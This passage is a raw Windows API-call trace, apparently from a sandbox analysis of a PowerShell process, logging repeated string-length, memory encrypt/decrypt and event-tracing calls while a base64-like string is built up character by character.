(param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iGYSZI⳶㜨줴昫囦") returned 0x30 [0125.148] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xc234\xfcee\x8f0d\x7288\x3533\x7d3a\xbe68\xafe") returned 0x30 [0125.148] SysStringLen (param_1="\x1ef0\x3c19\x4303\x5bbc\xfa6a\x1207\x1404\xd5f6\xdead\xeb79\xa3a8\x18ac\xa115\x5d79\x57f4\xc6d7\x8534\x69b9\xc24\xc9d9\x39bc\x9ccb\x1de9\x90e6\xba6d\x9eca\x4e15\xb05a\xb861\x2575\x5685\xf208\xd357\x4fe9\x317c\x2df0\xf3e8\xdda1\x23d0\x6635\xc234\xfcee\x8f0d\x7288\x3533\x7d3a\xbe68\xafe") returned 0x30 [0125.148] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] SysStringLen (param_1="lK9VpdK+5xiMg91e7m+Ya5gJNDP6k7nrRH4J5iGYSZI=㜨줴昫囦") returned 0x30 [0125.148] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0125.148] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.148] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.148] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.149] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c4, nSize=0xe4 | out: lpBuffer="\x2b41\x72ae\x298\x653\x18") returned 0x0 [0125.149] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.149] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x59, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.149] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.149] SysStringLen (param_1="") returned 0x8 [0125.149] SysStringLen (param_1="Y") returned 0x8 [0125.149] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.149] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.149] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.149] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.149] SysStringLen (param_1="YW") returned 0x8 [0125.149] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.149] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.149] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.150] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="YWM") returned 0x8 [0125.150] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.150] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.150] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="YWM1") returned 0x8 [0125.150] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.150] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.150] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="YWM1O") returned 0x8 [0125.150] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.150] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.150] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.150] SysStringLen (param_1="YWM1OT") returned 0x8 [0125.150] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.151] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.151] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.151] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.151] SysStringLen (param_1="YWM1OTE") returned 0x8 [0125.151] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.151] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.151] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.151] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.151] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0125.151] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.151] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.151] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.151] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.151] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0125.151] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.151] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0125.151] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.152] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0125.152] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.152] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0125.152] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.152] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0125.152] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.152] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.152] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0125.153] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.153] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0125.153] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.153] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0125.153] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.153] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.153] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.153] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0125.153] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0125.154] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0125.154] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.154] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0125.154] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.154] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0125.154] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.154] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.155] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0125.155] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.155] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0125.155] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.155] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0125.155] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.155] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.155] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.156] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0125.156] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.156] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.156] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0125.156] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0125.156] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.156] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0125.156] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.156] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.156] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0125.157] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.157] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0125.157] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.157] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0125.157] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.157] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.157] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.157] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0125.157] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.158] SysStringLen 